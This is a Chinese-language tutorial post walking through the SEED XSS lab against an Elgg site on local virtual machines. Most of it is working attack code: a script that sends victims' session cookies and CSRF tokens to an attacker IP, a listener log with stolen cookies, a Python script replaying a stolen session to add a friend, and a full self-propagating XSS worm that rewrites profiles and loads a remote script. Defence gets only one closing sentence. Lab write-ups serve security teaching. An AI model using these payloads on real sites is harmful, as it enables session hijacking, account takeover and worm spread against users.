web安全live第一期：web安全-XSS攻擊防範

www.zhihu.com

XSS攻擊防範

什麼是XSS攻擊

XSS跨站腳本攻擊:黑客想盡一切方法 將一段腳本內容放到目標網站的目標瀏覽器上解釋執行!!

XSS攻擊環境配置

配置瀏覽器

瀏覽器安裝HTTP Header Live 插件!

部署Elgg網站

在我們預置的虛擬機中已經提供了Elgg網站

User UserName PasswordAdmin admin seedelggAlice alice seedaliceBoby boby seedbobyCharlie charlie seedcharlieSamy samy seedsamy

配置DNS伺服器

由於我們需要一台預置的Ubuntu虛擬機作為Elgg伺服器

配置Apache伺服器

在預置的Ubuntu虛擬機中 只需要啟動Apache即可 sudo service apache2 start

<VirtualHost *:80> ServerName www.CSRFLabCollabtive.com DocumentRoot /var/www/CSRF/Collabtive/</VirtualHost><VirtualHost *:80> ServerName www.CSRFLabAttacker.com DocumentRoot /var/www/CSRF/Attacker</VirtualHost><VirtualHost *:80> ServerName www.SQLLabCollabtive.com DocumentRoot /var/www/SQL/Collabtive/</VirtualHost>

XSS入門

XSS顯示彈框

好!現在來打開你的瀏覽器 訪問www.xsslabelgg.com 能夠成功訪問XSS Lab Site網站 說明配置OK!

Edit profile->Brief description-><script>alert(hi welcome to hackbiji.top . I am ailx10 !);</script>

XSS顯示Cookie

在自己的頁面彈出自己的Cookie只需要修改alert的內容為document.cookie即可!

XSS進階

XSS盜取Cooike

在XSS入門中 我們彈出了自己的Cookie 但是只能自己看自己的Cookie啊 攻擊者如何看別人的Cookie呢?

黑客:hackbiji Ubuntu虛擬機 ip:192.168.59.129

受害者:admin 預置的Ubuntu虛擬機 ip:192.168.59.154

黑客希望admin向自己發送一個GET請求 在請求中帶上admin的Cookie

hackbiji在Brief description中通過<img>引入一張圖片

hackbiji的操作如下:

<script type="text/javascript">document.write("<img src=http://192.168.59.129:10086?c=" + escape(document.cookie) + ">")</script>

之後hackbiji只需要監聽10086埠 等待admin訪問自己的首頁

結果如下 魚兒上鉤了 我們成功拿到admin的Cookie:

第1個是hackbiji自己的Cookie 第2個是admin的Cookie

hacker@ubuntu:~/Desktop/echoserver$ ./echoserv 10086 GET /?c=Elgg%3D9suficofkh2pgo25csktof2nc5 HTTP/1.1 GET /?c=Elgg%3Dhgb32s34ekr20kdq6ttje8dct0 HTTP/1.1

鑒於篇幅有限 監聽程序會在知乎Live中分析!!!

XSS會話劫持

我們想通常XSS實現會話劫持 劫持admin 添加hackbiji為好友!!!

通過HTTP Header Live插件 我們需要以下admin的一下信息:

如下再次通過監聽程序我們獲取Cookie ts token!!!

<script type="text/javascript">document.write("<img src=http://192.168.59.129:10086?c=" + escape(document.cookie) +"&ts=" + elgg.security.token.__elgg_ts + "&token=" + elgg.security.token.__elgg_token + ">")</script>

通過python3構造HTTP GET請求:

import http.clientclass XSS(object): def __init__(self): pass def httpGet(self,servAddr,url,xssheaders): try: conn = http.client.HTTPConnection(servAddr) conn.request(GET, url ,headers = xssheaders) print(conn:,conn) r1 = conn.getresponse() data = r1.read() print(data:,data) print(r1.status,r1.reason) conn.close() except IOError as e: print("except:", e) finally: print("XSS END")if __name__ == __main__: servAddr = "www.xsslabelgg.com" url = "/action/friends/add?friend=43" __elgg_ts = &__elgg_ts=+1528563725 __elgg_token = &__elgg_token=+f18fc16061bc06000a5ff62f4dcfccaa url = url + __elgg_ts + __elgg_token xssheaders = { Host: www.xsslabelgg.com, User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0, Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, Accept-Language: en-GB,en;q=0.5, Accept-Encoding: gzip, deflate, Referer: http://www.xsslabelgg.com/profile/hackbiji, Cookie: Elgg=hgb32s34ekr20kdq6ttje8dct0, Connection: keep-alive, } hackbiji = XSS() print(url:,url) hackbiji.httpGet(servAddr,url,xssheaders)

看看是不是已經成功劫持了admin?

XSS放肆

XSS蠕蟲

1.添加hackbiji為好友

2.複製self-propagating-worm.js到受害者的briefdescription

var hackbiji_self_worm = document.getElementById("self-propagating-worm").innerHTML;alert(hackbiji_self_worm);var user = elgg.session.user.username;if(user!=hackbiji){ var victim = null; victim = new XMLHttpRequest(); victim.open("GET","http://www.xsslabelgg.com/action/friends/add?friend="+"43"+"&__elgg_ts="+elgg.security.token.__elgg_ts+"&__elgg_token="+elgg.security.token.__elgg_token,true); victim.setRequestHeader("Host","www.xsslabelgg.com"); victim.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0"); victim.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); victim.setRequestHeader("Accept-Language","en-US,en;q=0.5"); victim.setRequestHeader("Accept-Encoding","gzip, deflate"); victim.setRequestHeader("Referer","http://www.xsslabelgg.com/profile/"+user); victim.setRequestHeader("Cookie",document.cookie); victim.setRequestHeader("Connection","keep-alive"); victim.send(); victim = null; victim = new XMLHttpRequest(); victim.open("POST","http://www.xsslabelgg.com/action/profile/edit",true); victim.setRequestHeader("Host","www.xsslabelgg.com"); victim.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0"); victim.setRequestHeader("Accept-Language","en-US,en;q=0.5"); victim.setRequestHeader("Accept-Encoding","gzip, deflate"); victim.setRequestHeader("Cookie",document.cookie); victim.setRequestHeader("Connection","keep-alive"); victim.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var content="__elgg_token=".concat(elgg.security.token.__elgg_token); content = content.concat("&__elgg_ts=").concat(elgg.security.token.__elgg_ts); content = content.concat("&name=").concat(user); content = content.concat("&&briefdescription=<script id=self-propagating-worm type=text/javascript src=https://raw.githubusercontent.com/isGt93/Keep-learning/master/mySeedLab/XSS/self-propagating-worm.js></script>"); content = content.concat("&guid=").concat(elgg.session.user.guid); victim.setRequestHeader("Content-Length",content.length); victim.send(content);}

來看看!!是不是誰訪問hackbiji的首頁 誰就會被感染成為hackbiji的好友!!!

再看看admin 的 Brief description 是不是也變成和 hackbiji 一樣的了~~~

XSS防禦方案

通過以上實驗 我們得出防禦XSS攻擊的有效方式是對輸入進行過濾!!!

推薦閱讀：